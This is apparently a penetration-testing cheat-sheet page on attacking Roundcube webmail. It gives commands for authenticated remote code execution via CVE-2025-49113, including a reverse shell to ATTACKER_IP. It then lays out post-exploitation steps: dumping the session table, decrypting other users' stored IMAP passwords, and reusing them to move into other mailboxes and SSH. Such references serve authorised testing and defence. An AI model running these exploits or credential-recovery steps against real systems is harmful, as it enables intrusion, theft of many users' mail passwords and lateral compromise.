// HackTricks · Network Services

Roundcube

Roundcube

Overview

Roundcube is a PHP webmail client commonly exposed on HTTP(S) vhosts (e.g., mail.example.tld). Useful fingerprints:

  • HTML source often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Default app path in containers/VMs: /var/www/html/roundcube
  • Main config: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Affected versions (per vendor/NVD):[1][2]

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Bug summary

  • The _from parameter in program/actions/settings/upload.php is not validated, enabling injection of attacker‑controlled data that Roundcube later unserializes, leading to gadget chain execution and remote code execution in the web context (post‑auth).[3]

Quick exploitation

  • Requirements: valid Roundcube credentials and a reachable UI URL (e.g., http://mail.target.tld)
  • Public PoC automates session handling, gadget crafting and upload flow[4]
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
  "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notes

  • Output is often blind; use sleep N to validate RCE
  • The resulting process inherits the account and confinement of the PHP/web worker; determine the actual identity rather than assuming www-data. Container indicators such as /.dockerenv and private bridge routes may help characterize the environment but are not universal.

Post‑exploitation: recover IMAP passwords from Roundcube sessions

Roundcube stores the current user’s IMAP password as an encrypted value in its session. With both session-backend access and the server-side des_key/cipher configuration, an assessor can decrypt active-session credentials. The default cipher is historically DES-EDE3-CBC, but cipher_method is configurable (for example, AES-256-CBC), so do not assume every installation uses 3DES.[6][7]

  1. Read the DB DSN, encryption key, and cipher configuration

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Connect to DB and dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

The session.vars field contains serialized session state. Locate the encrypted password value (commonly the _password session key) and pass that ciphertext—not the entire serialized vars value—to the matching Roundcube decrypt routine.

  1. Locate the password field

A quick first step is to inspect the serialized field for the password key. Exact serialization depends on the Roundcube/PHP session handler:

printf '%s' 'SESSION_VARS_VALUE' | tr ';' '\n' | grep -i password
  1. Decrypt using Roundcube’s helper

Roundcube ships a CLI that uses the same rcmail->decrypt() logic and the configured des_key:[5]

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Manual decryption (optional; default 3DES example)
  • Ciphertext format: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Common locations

  • DB table: session (users table maps login names to IDs)
  • Config path: /var/www/html/roundcube/config/config.inc.php

Operational use

  • Older session rows often contain prior users’ IMAP passwords; decrypt multiple entries to laterally move into other mailboxes
  • Try recovered credentials against SSH or other services if credential reuse is suspected

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.